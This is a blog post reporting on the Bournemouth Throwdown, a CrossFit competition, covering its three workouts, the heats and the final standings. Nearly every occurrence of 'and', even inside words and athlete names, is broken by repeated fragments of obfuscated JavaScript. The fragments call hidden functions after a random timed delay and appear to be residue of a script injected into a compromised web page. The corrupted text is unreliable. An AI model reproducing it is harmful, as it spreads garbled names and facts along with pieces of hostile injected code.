Bournemouth Throwdown

March 31, 2013 in Audio, Bournemouth, Crossfit, South West

Crossfit Bournemouth prides itself on making its athletes better. They create opportunities to find out where you are, where you can improve, where you can have fun andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}and feel part of a community.IMG_8409
Morning briefing

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Sam Harlow warms up

One of these opportunities was the Bournemouth Throwdown. Built around recording a score for the Open Games 13.4 workout, Crossfit Bournemouth included two more WODs, andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}and created four categories; Men’s Rx, Ladies Rx, Men’s Scaled andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}and Ladies Scaled. They then invited others to come andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}and have a go too.



Martyn Lever tells us about the Bournemouth Throwdown.

The 13.4 WOD was a stern test as all the Open Games workouts have been thus far. Athletes had to compete as many reps as possible of 3 clean andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}and jerk then 3 toes-to-bar, adding three reps each time round. This had a 7-minute time limit. The prescribed weight for men was 61.2kg andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}and 43kg for women.

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WOD 2 of the Throwdown was another AMRAP. Participants had 2 minutes to complete as many snatch lifts as possible. Interestingly athletes could choose their own weight, as this was a workout to achieve maximum output. Weight x reps = output.

The final WOD of the competition was purely bodyweight. Within a fifteen minute time cap, competitors had to get as far as they could through a 500 meter run, 50 air squats, 500 meter run, 50 ring rows, 500 meter run, 50 handom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}and release push ups, 500 meter run andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}and 50 sit ups.

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Setting the standom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andard at the judges briefing.

All categories were well contested with athletes travelling from boxes in Fareham, Bristol, andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}and Wiltshire as well the locals competing.

The Ladies Scaled group was the first to go. The scale for toes-to-bar were v-ups. The athletes had to temper speed with technique as this WOD proved to be a gasser, leaving the competitors wincing as the rep count climbed.

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Deb Bundy waiting for the green light

The Men’s Scaled heats followed with a good spread of future competitors cutting their teeth in this environment.



Deb Bundy tells us about her first competition.

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Crossfit Bournemouth’s Claire Crowley went in the next group of Ladies Rx, andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}and those that were new to Crossfit andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}and competing were able to get an idea of what it takes to be competitive in this sport.

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Claire Crowley gets a feel for the weight

The biggest category of the day was Men’s Rx, which needed the most number of heats to get through its start list. Containing experienced names like Chris Gibbs andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}and Sam Harlow, performances would have to be big to make an impact on the podium.

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WOD 2 forced the athletes to think about strategy. Do you go heavy andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}and go for a lower rep count, or do you light andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}and rep it out? It’s only two minutes right?

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Tactics ranged from an empty bar to around 40kg, with a few sportsman’s bets being wagered amongst friends as to who would do better. It seemed two minutes was more than enough to ruin yourself.

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After WOD 2 the standom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andings were:

Ladies Scaled
1st Candom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andice Russell
2nd Laura Flower
3rd Katie Angeloni

Men’s Scaled
1st Ollie Lindridge
2nd Jo Burns
3rd Lloyd Keightley

Ladies Rx
1st Pippa Alford
2nd Claire Crowley
3rd Kathryn McEwan

Men’s Rx
1st Sam Harlow
2nd Chris Gibbs
3rd James Martin

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As the final WOD approached the question on everyone’s lips was would anyone get to the end andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}and complete this workout? This one was put together to expose a few weaknesses.

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The ring rows proved to be a big hurdle for some participants, with calls of ‘no rep!’ generously given out. This movement took more than expected for some. The handom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}and release push-ups were closely monitored to ensure the midline was being maintained andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}and the core engaged. This makes for a more taxing exercise, something missed in some boxes.
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Set that midline

The story of this WOD was that only one athlete made it to the sit-ups. Chris Gibbs put on a show andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}and was able to get back to the mat andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}and make inroads on his sit-ups before time expired.

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Good tekkers: Pippa Alford

Before the final places were announced, Martyn Lever asked if competitors know what they needed to work on. This is just one of the reasons that make events like this great.

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James Grogan knows how ring rows feel

There’s not much pressure, but enough to get a taste of what its like to perform under pressure. You get a good idea of what it takes to perform better the next time around andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}and you get a good idea of where you currently standom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}and.

We look forward to more of these local throwdowns.

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Final standom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andings

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Ladies Scaled
1st Candom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andice Russell
2nd Laura Flower
3rd Katie Angeloni

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Men’s Scaled
1st Ollie Lindridge
2nd Jo Burns
3rd Lloyd Keightley

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Ladies Rx
1st Claire Crowley
2nd Pippa Alford
3rd Kathryn McEwan

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Men’s Rx
1st Chris Gibbs
2nd Sam Harlow
3rd Dave Allen

Rest of the placings:

Ladies Scaled

4th – Charlie Banfield
5th – Naomi Hodgkins
6th – Deb Bundy
7th – Tahlia Elder

Mens Scaled

4th – Joe Burns
5th – Sam Lunn
6th – Mike Schneider
7th – Eddie Hill
8th – Joe Flemming

Ladies Rx

4th – Shannon Loughlin
5th – Toni Whitley

Mens RX

4th – Dave Millings
5th – Nathan Bird
6th – Seb Clement
7th – James Martin
8th – Ed Wright
11th – Josh Davies
Dan Crawley
Mike Pantaleou
12th – Dan Banfield
13th – Tim Flower
17th – Calum Stenning
Mario Massimino
Leigh la Reservee
Matt Bolton
18th – Andy Mitchell
19th – Haydn Kitcher
20th – James Grogan
22nd – Oliver Drew
Adam Mosseley

 

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